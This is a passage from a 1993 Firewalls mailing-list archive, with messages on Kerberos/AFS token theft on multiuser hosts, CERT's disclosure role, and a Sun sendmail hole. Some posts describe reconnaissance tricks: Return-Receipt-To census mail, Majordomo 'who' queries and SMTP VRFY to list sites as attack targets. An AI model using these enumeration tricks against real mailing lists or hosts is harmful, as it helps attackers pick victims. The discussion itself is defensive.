we need a robust, trustworthy, multiplatform, > multiuser-safe system to protect our data. (I'm not holding my > breath waiting for such a system to appear, however.) You wouldn't have to wait long -- its here. ;-) -Bob From Firewalls-Owner Wed Oct 27 01:54:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07163; Wed, 27 Oct 93 01:54:56 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07155; Tue, 26 Oct 93 18:54:47 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id VAA00593; Tue, 26 Oct 1993 21:58:43 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA18988; Tue, 26 Oct 93 21:58:42 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA21169; Tue, 26 Oct 93 21:58:41 EDT Message-Id: <9310270158.AA21169@snark.lehman.com> To: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Tue, 26 Oct 1993 21:23:26 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Tue, 26 Oct 1993 21:58:40 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > What leads you to believe that AFS or DCE relies on a > one-person/one-machine concept? I can assure you it does not. > > AFS authentication tokens are stored in the kernel of the authenticating > host, and cache chunks are root-protected on a disk or stored in RAM. > Neither the tokens nor the cache needs to reside on the local (physical) > machine. The only user that has access to cached data or stored tokens > is the root account on the cache manager host. > > True, the host which runs the cache manager needs a protected root > password, but I wouldn't by any means say that this constitutes > "complete insecurity" -- it makes the system as secure as the root > password of the cache manager. The autenticating host ALSO needs a protected root password, because I can extract tokens from the kernel and steal them if I have root on that machine. (Don't claim you can't -- plenty of people will willingly give you a demonstration if you don't believe it. Systems are poorly protected against root.) Given that bugs that allow users to gain root on a machine they can log into crop up periodically, this means that anyone who uses any kerberos on any machine with other users on it is potentially open. He or she is certainly open if anyone knows root on their workstation. Perry From Firewalls-Owner Wed Oct 27 03:16:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07284; Wed, 27 Oct 93 03:16:16 GMT Received: from awadi.com.AU (myall.awadi.com.AU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07274; Tue, 26 Oct 93 20:14:59 PDT Received: from mulga.awadi ([150.207.1.60]) by awadi.com.AU (4.1/SMI-4.1) id AA02414; Wed, 27 Oct 93 12:47:05 CST Received: from mallee.awadi by mulga.awadi (4.1/SMI-4.1) id AA04493; Wed, 27 Oct 93 12:45:33 CST From: blymn@mulga.awadi.com.AU (Brett Lymn) Message-Id: <9310270315.AA04493@mulga.awadi> Subject: An interesting way of getting information... To: firewalls@greatcircle.com (firewalls) Date: Wed, 27 Oct 1993 12:45:31 +0930 (CST) X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 1196 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk More than likely this new found knowledge of mine has been seen/thought of thousands of times before but it is new to me. If I wanted to get a list of all the sites that have suns (say I knew some details about a bug I could exploit ;-) then what is stopping me sending a mail message to, say, the sun-managers mailing list with something innocuous like "anyone got a format.dat for a ST11480" BUT I put a "Return-Receipt-To" in the message so all the mailer daemons that recieve the message will send back a nice message saying "got it". Would this not immediately give me a list of places that are *very* likely to have suns on their network? and hence could be targets for my attacks? Are all mailing lists equal in this or do some protect the people on the list from this sort of "census" taking? -- Brett Lymn, Computer Systems Administrator, AWA Defence Industries =============================================================================== "Where a calculator on the ENIAC is equipped with 18,000 vaccuum tubes and weighs 30 tons, computers in the future may have only 1,000 vaccuum tubes and perhaps weigh 1 1/2 tons." -- Popular Mechanics, March 1949 From Firewalls-Owner Wed Oct 27 04:11:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07362; Wed, 27 Oct 93 04:11:47 GMT Received: from eden-valley.aaii.oz.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07354; Tue, 26 Oct 93 21:11:20 PDT Received: by eden-valley.aaii.oz.AU (5.65c/SMI-4.0/AAII) id AA23303; Wed, 27 Oct 1993 15:14:52 +1100 Date: Wed, 27 Oct 1993 15:14:52 +1100 From: Rupert G. Goldie Message-Id: <199310270414.AA23303@eden-valley.aaii.oz.AU> To: firewalls@GreatCircle.COM Subject: Re: An interesting way of getting information... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk [ description of taking advantage of mailing list addresses deleted ] > Are all mailing lists equal in this or do some protect the people on > the list from this sort of "census" taking? > > -- > Brett Lymn, Computer Systems Administrator, AWA Defence Industries In fact with many mailing lists you don't even have to mess about with Return-receipt-to: as they provide a mechanism for people to query the mailing list server itself for a list of the recipients. (e.g. for Majordomo send a piece of mail with "who listname" as the body to find out who is on the list). For some mailing lists you can just telnet to the machine's smtp port and vrfy listname. Rupert (and I didn't even mention CERT 8-) -- Rupert G. Goldie, Research Scientist rgg@aaii.oz.au Australian Artificial Intelligence Institute /\/\|| 1 Grattan Street, Melbourne, Australia From Firewalls-Owner Wed Oct 27 06:05:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07542; Wed, 27 Oct 93 06:05:00 GMT Received: from whistler.sfu.ca ([142.58.103.1]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07534; Tue, 26 Oct 93 23:04:50 PDT Received: from wizard.ucs.sfu.ca by whistler.sfu.ca (5.65/SFU-SUN-2.0H) id AA15181; Tue, 26 Oct 93 23:08:14 -0700 Received: by wizard.ucs.sfu.ca (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA03779; Tue, 26 Oct 93 23:08:10 PDT From: richard@wizard.ucs.sfu.ca (Richard Chycoski) Message-Id: <9310270608.AA03779@wizard.ucs.sfu.ca> Subject: Re: System Security To: Firewalls@greatcircle.com Date: Tue, 26 Oct 93 23:08:09 PDT In-Reply-To: ; from "Bob Dew" at Oct 26, 93 9:23 pm X-Mailer: ELM [version 2.3 PL9] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Excerpts from Firewalls: 26-Oct-93 System Security Richard > Chycoski@wizard. (1741) > > > > And if you suggest to an Athena-type person that maybe two people > > might actually want to *share* a machine, especially at the *same > > time*, they look at you with horror and tell you that such a thing is > > completely insecure. (The Kerberos authentication approach is > > susceptible to attack on multi-user systems. Breaking Kerberos can > > also break AFS security.) > > > Say what? > > What leads you to believe that AFS or DCE relies on a > one-person/one-machine concept? I can assure you it does not. AFS doesn't rely on the concept, but Kerberos security does on the Unix platform. > > AFS authentication tokens are stored in the kernel of the authenticating > host, and cache chunks are root-protected on a disk or stored in RAM. > Neither the tokens nor the cache needs to reside on the local (physical) > machine. The only user that has access to cached data or stored tokens > is the root account on the cache manager host. > > True, the host which runs the cache manager needs a protected root > password, but I wouldn't by any means say that this constitutes > "complete insecurity" -- it makes the system as secure as the root > password of the cache manager. > > Physical security is always the lowest common denominator in *any* > secure system. You of course don't want to make it easy for the locals > cart off your disks, or boot your server in single-user mode in the wee > hours. > > > > > I hope that when (if?) DCE and friends become available, they do not > > rely on the same one person/one machine ideal. We don't need another > > NFS or Athena, we need a robust, trustworthy, multiplatform, > > multiuser-safe system to protect our data. (I'm not holding my > > breath waiting for such a system to appear, however.) > > > You wouldn't have to wait long -- its here. ;-) > > -Bob > If you think that Kerberos is secure on a multiuser machine, even without root tampering, you're misinformed. Core dumps are a favourite mode of attack used to extract Kerberos tokens on a shared machine. One reference - a paper by Peter Honeyman presented at the '92 Winter Usenix in San Francisco. I'll extract the appropriate paragraphs for you if you'd like - I had a chance to talk to Peter about this, and even he stated that Kerberos is still not secure on a shared Unix platform. Other platforms that do not make the tokens available via mechanisms such as core dumps may be more secure. Also, as I understand it, it isn't easy to recover the tokens from the core dump, but it is still possible to do it. (And as another contributor put it - AFS with Kerberos looks like Fort Knox compared to NFS/NIS, a sentiment that I agree with wholeheartedly.) If something has been done in recent months to eliminate this problem with Kerberos in Unix, I'm quite willing to retract what I'm saying. However, I haven't yet seen anything to indicate that this has been fixed. This topic is probably also getting off the firewalls subject, but I'd be happy to continue via another route (private E-mail or appropriate newsgroup) if necessary. -- - Richard Chycoski Senior Systems Consultant Academic Computing Services Simon Fraser University richard@sfu.ca (NeXT Mail OK) From Firewalls-Owner Wed Oct 27 11:28:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08437; Wed, 27 Oct 93 11:28:51 GMT Received: from cs.utexas.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08424; Wed, 27 Oct 93 04:28:35 PDT Message-Id: <9310271129.AA14847@cs.utexas.edu> Received: from slip-2-49.ots.utexas.edu by cs.utexas.edu (5.64/1.14/mx-relay) with SMTP id AA14847; Wed, 27 Oct 93 06:29:49 -0500 X-Sender: werner@mailbox.cs.utexas.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 27 Oct 1993 06:34:11 -0600 To: Firewalls@GreatCircle.COM From: werner@cs.utexas.edu (Werner Uhrig) Subject: Re: CERT and information Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk regarding the frustrations with CERT, I sympathize, but observation leads to the conclusion that it is probably wishful thinking to project them into taking on a (greater) public/individual support role when they are busy with the "more general" functions, to gather (attract?) information, primarily, to evaluate it and to generate "a larger picture" and to act as both lobbyist of industry (and to support/protect government interests?!?). There is nothing wrong with that, in essence; except that as a side-effect it (might) reduces the chances that someone else will and can take on a role oriented towards (more) "public support"... It would be interesting to read the "mission statement" for CERT (probably FTPable) -- and it is likely that this has "evolved" since CERT established a net pressence, and that there are both public and non-public aspects to CERT's activities (however I'm not curious enough to try to research this). smb@research.att.com remarked in digest 2.211: > > Btw, y'all may want to look at the ``News in Review'' section from this > past Sunday's NY Times. There's a profile of Richard Petthia, the head > of CERT. There's also the claim, attributed to a Scotland Yard > detective, that deaths have resulted from a computer intrusion. He > said that a weather bureau computer was penetrated, stopping forecasts, > which led to the loss of a ship in a storm in the English Channel. > (No, there weren't any more details on what really happened.) I haven't read the NYT story yet, but I'd guess that it was written by John Markoff and is based on a presentation by a Yard detective given at the recent FIRST workshop in St. Louis, Aug 10-13; he gave an extraordinarily dramatic presentation (voice and diction was stage quality) telling 3 stories of how crackers (could?) cause harm on computer networks; besides the ship story, there was a story about a patient on the operating table (in Holland?) when the doctor loses access to some critical medical information and has to delay/cancel the procedure (the topic of the third story is "swapped out" currently ;-) On reflection, I have my doubts about the stories he told (but missed out on "asking the question") and consider them likely "made up for effect" or "composite stories" which combined aspects of some (possibly real) events to get the audience to accept a mostly unsympathetic viewpoint towards "the cause of the problem" (he was highly effective at that, everyone seemed to agree, and I do not mean to sound critical of either him or the audience when writing this) long-morrow@CS.YALE.EDU (H Morrow Long) comments in 2.212 > > But what is really needed is a private commercial version of the CERT > to go into detail on security-related holes and fixes (to standard > systems), to provide the advice (and hand-holding if necessary) for > those companies, etc. willing to pay a fee for services beyond what > CERT and/or the vendor can provide. well, that would take care of the needs and interests of the fortune-five-thousand but it would still leave a large "need"; it might reduce the likelihood that the information will filter (down?) "to the needy" even more...) > Anyone want to go into business providing such a service on the Internet? > It would be especially useful to have Eric Allman (as well as his brothers > Duane and Greg :-) on a support contract and on call for sendmail problems... heh! I wonder how long it would take for suspicions to get voiced that flaws could be intentional - because income-generating... :-( but seriously now, there is also a need for a "neighborhood watch" type organization, to help the mom-and-pop type operations: i.e. users must figure out a way to band together and share resources and information to limit exposure and losses to the "bad guys". at the FIRST workshop I verbalized the theory that what distinguishes the Macintosh world from the PC (and UNIX as well as others, probably) environment is the fact that there has been effective and free anti-viral software available since early on (can't say the same for other security and integrity type software, however) as it has had the effect that users report new problems primarily to non- commercial interests, who then in effect become brokers of informa- tion which the commercial interests need also. This has led to a harmonious information sharing and collaboration among all interested parties, with the end-users the winners because not only are both commercial and non-commercial anti-virals available quickly and near-simultaneously shortly after every new "incident" but it has also reduced "the worry factor" about 'is my anti-viral effective' (as well as the desire and need "to know and understand details" -- quite honestly, don't we all have better things to do than waste time on relatively uninteresting details like this?!!) In result, I view the problem being discussed here really as a end-user problem in search of a end-user solution; but rather than looking at "more freely sharing of sensitive information" as an effective and desirable solution (it would only lead to lots of people wasting lots of time on boring and detailed problems and with questionable effectiveness) I propose that in the absence of satisfying support solutions from academia and government, "serious" efforts should be made to find not-for-profit solutions in the framework of user groups and/or other non-profit organiza- tions. I believe that this is possible to do and all it takes is a handful of knowledgable and credible people making the effort to get things started. Professional organizations, such as ACM, IEEE, etc., user groups for different hardware and software platforms would probably provide both moral and actual support, and obtaining grants and other funding should also be doable. But, yes, I believe that purely volunteer and ad-hoc efforts are doomed to a limited life-time only (and that includes the Macintosh world with the asrrival of PowerPC and A/UX server solutions) Tom Fitzgerald comments in 2.212: > >> The lists functioned the way they did "in the old days" because most >> of the people on the lists knew each other. > > On the contrary, in '88-'89, the Zardoz list let on anyone who was a domain > contact. This worked fine. define "worked fine" (other than "I got information"); was it effective in getting "solutions" to everyone in need (savvy in sendmail hacking or not)? did it keep the information out of the hands of black-hats? > I was on the list, and I never met anyone. One of the worst things to > to happen to Internet security was Neil's action to split the list into > the "inner" list of his acquaintances, who got advance warning of security > problems, and the "outer" list of people who were screwed. The outer list > died almost immediately afterward. yeah, and without explanation. that was rather "unfriendly" (and unnecessary), I thought. But there would have been no reason to complain if the "ones in the know" had generated solutions to share with everyone. Well, maybe it is UNIX that makes this impossible (where you practically have to share source - i.e. all your secrets) but it also was a question of "attitude" one might conclude... > Maybe there's something about the security biz that leads people into > greater and greater paranoia, even toward the people who are least likely > to be dangerous.... It's a self-defeating attitude. It may be that some > of the people you _do_ know are crackers, and for sure, the vast majority > of people who could help you are people you don't know yet. that argument is seriously flawed, I think, and I simply don't buy it; it is a question of goal-setting and achieving: if there are enough people working on a problem to reach the goal (that all agree on) then all would be fine if the fewest people actually were included in the problem analysis and solution production phase. the unfortunate problem crops up when MY security solution does not allow me to share it with "others" (not just you), because doing so would endanger both me, as well as unknown others more. Unfortunately, on UNIX (and the net, in general) the description of the security flaw and the attempt at a fix are so closely related, that it is nearly impossible to provide a defensive tool without disclosing the weakness also, and in every gory detail... giving credit to Ken Weaverling who wrote: > > Most companies hire a small army of underpaid security guards to sit > around, monitor TV cameras, walk around looking for problems, etc. real trustworthy characters often ..... > Many computer science college students would probably love a 'security > guard' assignment. and your "main" employees would probably hate the idea of having "kids" monitor (all?) activities.... no, there is no such "cheap" solution here; the other idea of using hardware and software tricks to monitor and create snares and traps for Wiley Cracker is "more like it"... From Firewalls-Owner Wed Oct 27 11:42:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08478; Wed, 27 Oct 93 11:42:43 GMT Received: from mailhost.visionware.co.uk (vision.visionware.co.uk) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08470; Wed, 27 Oct 93 04:42:32 PDT Received: by mailhost.visionware.co.uk (5.59/5.930520) id AA29935; Wed, 27 Oct 93 11:45:08 GMT Newsgroups: vw.net.firewalls Path: chris From: chris@visionware.co.uk (Chris Davies) Subject: Re: perry's gripe about CERT Message-Id: <1993Oct27.114419.29856@visionware.co.uk> Organization: VisionWare Ltd., Leeds, UK X-Newsreader: TIN [version 1.2 PL1] References: <9310261652.AA01576.vw.net.firewalls@charlie.CES.CWRU.Edu> Date: Wed, 27 Oct 1993 11:44:19 GMT Apparently-To: firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Aydin Edguer (edguer@alpha.ces.cwru.edu) wrote: : Jishnu Mukerji writes: : > To get us back on track, it might help if someone knowledgable about : > CERT, perhaps even someone from CERT could post a non-flammatory article : > describing what is CERT. : ftp cert.sei.cmu.edu This is from the FAQ - Any references to: cert@cert.sei.cmu.edu or cert@sei.cmu.edu should be changed to the new address (cert@cert.org). Chris -- VISIONWARE LTD, 57 Cardigan Lane, LEEDS LS4 2LE, England Tel +44 532 788858. Fax +44 532 304676. Email chrisd@visionware.co.uk -------- "VisionWare: The home of DOS/SQL/UNIX/X/VMS integration" -------- From Firewalls-Owner Wed Oct 27 13:41:45 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08622; Wed, 27 Oct 93 13:41:45 GMT Received: from nsco.network.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08614; Wed, 27 Oct 93 06:41:37 PDT Received: from anubis-e1.network.com by nsco.network.com (5.61/1.34) id AA13871; Wed, 27 Oct 93 08:48:14 -0500 Received: from irie.network.com by anubis.network.com (4.1/SMI-4.1) id AA25858; Wed, 27 Oct 93 08:43:39 CDT Date: Wed, 27 Oct 93 08:43:39 CDT From: amolitor@anubis.network.com (Andrew T. Molitor) Message-Id: <9310271343.AA25858@anubis.network.com> To: Firewalls@GreatCircle.COM Subject: Re: CERT and information Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk If you're serious about keeping up to date with bugs yielding security holes, you need to spend a bit more time getting to know people, and gaining the trust of others in similar situations. It's unreasonable to start shouting 'Help! I need answers NOW, and you ought to start trusting me NOW, here are my credentials!' (nothing personal, Perry, I do empathise with your situation.) The astute system administrator will allocate some small portion of time and resources to establishing and maintaining bona fides with others. If enough do, then bug reports can circulate through a network of, if you will, trusted point-to-point links. I'm not adminning anything these days, but I do make certain to pass along information to those I trust, if it turns up under my nose. Presumably, others do the same. In short, what Perry and those like him need to do, is spend some time at Usenixen and the like, getting to know people and becoming known as who they are. I can understand that this would be seen as a waste of time, when there are more important things to do -- but this is a false economy. Creating and maintaining personal, trusted, contacts at other sites is, as we have seen recently, an important part of the job. Andrew From Firewalls-Owner Wed Oct 27 14:09:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08684; Wed, 27 Oct 93 14:09:05 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08670; Wed, 27 Oct 93 07:08:39 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA08267; Wed, 27 Oct 93 10:12:31 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Wed, 27 Oct 93 10:12:26 EDT Received: via switchmail; Wed, 27 Oct 1993 10:12:24 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 10:10:34 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 10:10:31 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Wed, 27 Oct 1993 10:10:31 -0400 (EDT) Message-Id: <8gnc5LO0ts4j0twkdX@alw.nih.gov> Date: Wed, 27 Oct 1993 10:10:31 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: Firewalls@greatcircle.com, richard@wizard.ucs.sfu.ca (Richard Chycoski) Subject: Re: System Security Cc: pmetzger@lehman.com In-Reply-To: <9310270608.AA03779@wizard.ucs.sfu.ca> References: <9310270608.AA03779@wizard.ucs.sfu.ca> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 26-Oct-93 Re: System Security Richard Chycoski@wizard. (3341) > If you think that Kerberos is secure on a multiuser machine, even without > root tampering, you're misinformed. As I mentioned, the authenticating host can be remote. We call this host the "cache manager". The cache manager can be locked in vault and stripped of user accounts and of all non-rpc network access, if you want. By the way, are you suggesting that a host can't protect its core dumps from non-root access? Regardless of where the cache manager resides, I stand by the statement that the authenticating host is as secure as its root password. -Bob From Firewalls-Owner Wed Oct 27 14:11:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08701; Wed, 27 Oct 93 14:11:23 GMT Received: from cs.huji.ac.il by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08671; Wed, 27 Oct 93 07:09:13 PDT Received: from picton.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA18847 (5.65c/HUJI 4.144 for firewalls@greatcircle.com); Wed, 27 Oct 1993 16:12:35 +0200 Received: from localhost by picton.cs.huji.ac.il with SMTP id AA15713 (5.65c/HUJI 4.121 for ); Wed, 27 Oct 1993 16:12:34 +0200 Message-Id: <199310271412.AA15713@picton.cs.huji.ac.il> To: firewalls@greatcircle.com Subject: Re: CERT and information In-Reply-To: Your message of Wed, 27 Oct 93 08:43:39 CDT . <9310271343.AA25858@anubis.network.com> From: Amos Shapira Date: Wed, 27 Oct 1993 16:12:32 +0200 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk amolitor@anubis.network.com (Andrew T. Molitor) writes: | The astute system administrator will allocate some small portion |of time and resources to establishing and maintaining bona fides with |others. If enough do, then bug reports can circulate through a network |of, if you will, trusted point-to-point links. | | I'm not adminning anything these days, but I do make certain to pass |along information to those I trust, if it turns up under my nose. Presumably, |others do the same. | | In short, what Perry and those like him need to do, is spend some |time at Usenixen and the like, getting to know people and becoming known |as who they are. I can understand that this would be seen as a waste of |time, when there are more important things to do -- but this is a false |economy. Creating and maintaining personal, trusted, contacts at other sites |is, as we have seen recently, an important part of the job. | | Andrew Very nice your idea of "old boys network", but what about people like me who don't expect to ever be able to attend even one Usenix conference or generally in the outer realms of the Internet? How am I supposed to "get to be trusted"? (and I'm not on the Internet since yesterdy, I'm here since 1986 (yes, I know, there are older chaps out there, but my point is that with 7-8 years of history on the Internet/Usenet/Unix field I'm not going to qualify to get into your network)). --Amos --Amos Shapira (Jumper Extraordinaire) | "War does not determine who is right, C.S. System Group, Hebrew University, | but who is left" Jerusalem 91904, ISRAEL | amoss@cs.huji.ac.il | -- Anonymous? From Firewalls-Owner Wed Oct 27 14:15:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08750; Wed, 27 Oct 93 14:15:49 GMT Received: from lokkur.dexter.mi.us (dexter-gw.dexter.msen.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08742; Wed, 27 Oct 93 07:15:33 PDT Received: by lokkur.dexter.mi.us (5.65c/IDA-1.2.8) id AA04794; Wed, 27 Oct 1993 10:18:15 -0400 From: Steve Simmons Message-Id: <199310271418.AA04794@lokkur.dexter.mi.us> Subject: Re: CERT and information To: amolitor@anubis.network.com (Andrew T. Molitor) Date: Wed, 27 Oct 1993 10:18:15 -0400 (EDT) Cc: Firewalls@greatcircle.com In-Reply-To: <9310271343.AA25858@anubis.network.com> from "Andrew T. Molitor" at Oct 27, 93 08:43:39 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Andrew makes a good point, tho he's pointing it at the wrong guy -- I know Perry from various usenii, so clearly they've missed each other. If Perry had written me and asked about the bug, I'd have given him a complete core dump of my brain. The problem is that Perry wants a service from CERT and it's not the service that CERT provides (I keep harping on that point, but people keep missing it). From Firewalls-Owner Wed Oct 27 14:16:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08769; Wed, 27 Oct 93 14:16:42 GMT Received: from awadi.com.AU (myall.awadi.com.AU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08732; Wed, 27 Oct 93 07:14:22 PDT Received: from mulga.awadi ([150.207.1.60]) by awadi.com.AU (4.1/SMI-4.1) id AA11678; Wed, 27 Oct 93 23:47:06 CST Received: from mallee.awadi by mulga.awadi (4.1/SMI-4.1) id AA11010; Wed, 27 Oct 93 23:45:55 CST From: blymn@mulga.awadi.com.AU (Brett Lymn) Message-Id: <9310271415.AA11010@mulga.awadi> Subject: Re: CERT and information To: amolitor@anubis.network.com (Andrew T. Molitor) Date: Wed, 27 Oct 1993 23:45:51 +0930 (CST) Cc: firewalls@greatcircle.com (firewalls) In-Reply-To: <9310271343.AA25858@anubis.network.com> from "Andrew T. Molitor" at Oct 27, 93 08:43:39 am X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 946 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk According to Andrew T. Molitor: > > In short, what Perry and those like him need to do, is spend some >time at Usenixen and the like, getting to know people and becoming known >as who they are. I can understand that this would be seen as a waste of >time, when there are more important things to do -- but this is a false >economy. Creating and maintaining personal, trusted, contacts at other sites >is, as we have seen recently, an important part of the job. > Sounds like just the thing I need to justify all those long liquid lunches I should be going to :*) -- Brett Lymn, Computer Systems Administrator, AWA Defence Industries =============================================================================== "Where a calculator on the ENIAC is equipped with 18,000 vaccuum tubes and weighs 30 tons, computers in the future may have only 1,000 vaccuum tubes and perhaps weigh 1 1/2 tons." -- Popular Mechanics, March 1949 From Firewalls-Owner Wed Oct 27 14:19:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08786; Wed, 27 Oct 93 14:19:57 GMT Received: from gatekeeper.es.dupont.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08778; Wed, 27 Oct 93 07:19:45 PDT Received: by gatekeeper.es.dupont.com (5.65/ULTRIX-mjr-062991); id AA23937; Wed, 27 Oct 93 10:23:35 -0400 Received: by wind.es.dupont.com; id AA12731; Wed, 27 Oct 93 10:21:36 -0400 Message-Id: <9310271421.AA12731@wind.es.dupont.com> To: johns@oxygen.house.gov (John Schnizlein) Cc: firewalls@GreatCircle.COM Subject: Re: Frame Relay security concerns In-Reply-To: Your message of Tue, 26 Oct 93 17:38:01 EDT Date: Wed, 27 Oct 93 10:21:35 -0400 From: Mike Minnich Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm not aware of any particulars with frame relay, but with SMDS there is the ability to configure call screening and address screening in the SMDS switches themselves. This would allow you to set up some first level access lists which would function at the SMDS level in addition to the protocol (IP) level access lists which would reside in your router. I don't know if frame relay has a similar capability. Mike From Firewalls-Owner Wed Oct 27 14:49:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08840; Wed, 27 Oct 93 14:49:24 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA08832; Wed, 27 Oct 93 07:49:10 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA27642; Wed, 27 Oct 93 10:48:35 -0400 Received: by cobalt.house.gov (AA09258); Wed, 27 Oct 93 09:54:18 -0700 Date: Wed, 27 Oct 93 09:54:18 -0700 From: Dorian Deane Message-Id: <9310271654.AA09258@cobalt.house.gov> To: firewalls@greatcircle.com Subject: sendmail hole and other platforms Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The fact that other vendors' sendmails were not affected by this bug can be pretty easily inferred after sifting through all the rumors, but here's some slightly more official info: Both HP and IBM have told me that their sendmail versions are unaffected by the current Sun sendmail security problem. My information about AIX comes from an engineer who was NOT speaking officially; he only said he "checked around." HP, however, was willing to back up their statement with a posting to comp.mail.sendmail, which I have included below (with implicit permission, I think!). After wading through all the traffic about CERT and this sendmail vulnerability, I can't resist adding my $.02: Though I have a lot of sympathy for the overworked people at CERT, and understand their side of this issue completely, one of their stated goals is to prevent the need for the exlusionary "good old boy" network but, when they can't give complete information, we all immediately turn to the informal network they are trying make unnecessary. I guess that's just another way to view what's already been said--I don't claim to be offering any new ideas and I _really_ don't want to start up a whole new thread on this issue! Now back to our regularly scheduled programming: > Article 9928 of comp.mail.sendmail: > Newsgroups: comp.mail.sendmail > Path: neon.house.gov!news.sprintlink.net!news.world.net!guardian.up.edu!sequent!uunet!spool.mu.edu!sdd.hp.com!hpscit.sc.hp.com!cupnews0.cup.hp.com!bkelley > From: bkelley@PROBLEM_WITH_INEWS_GATEWAY_FILE (Bob Kelley) > Subject: Re: CERT advisory re: sendmail > Sender: news@cupnews0.cup.hp.com (News Admin) > Message-ID: > Date: Tue, 26 Oct 1993 20:50:06 GMT > References: <2a710l$ot5@agate.berkeley.edu> <2a7j3s$hia@terminator.rs.itd.umich.edu> <2adpn6$7b7@mail.fwi.uva.nl> <2af4vr$b52@aurora.engr.LaTech.edu> <2af6va$sem@agate.berkeley.edu> > Nntp-Posting-Host: hpnmcldg.cup.hp.com > Organization: Hewlett-Packard > X-Newsreader: TIN [version 1.2 PL1.3] > Lines: 18 > > > HP Sendmail Not Vulnerable > BY: Bob Kelley- UNIX Networking Support Center > > A recent CERT Advisory (CE-93:15) addressed the recent discovery > of vulnerabilities in Sun Microsystems, Inc, operating systems. > These issues were also addressed in Sun Microsystems Security > Bulletin, #00122, of 21 October 1993. The vulnerabilities were > part of the sendmail program and allowed unauthorized root access. > > After contacting both CERT and Sun, and testing our systems, > we have found that this vulnerability does NOT exist in HP-UX > 8.x or 9.x sendmail programs. > > For more details on the Sun patches, contact security-alert@sun.com > or phone them at (415)688-9081. CERT can be contacted via > cert@cert.org or (412)268-7090. CERT advisories are available > via anonymous FTP from cert.org (192.88.209.5). dorian i From Firewalls-Owner Wed Oct 27 15:48:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09095; 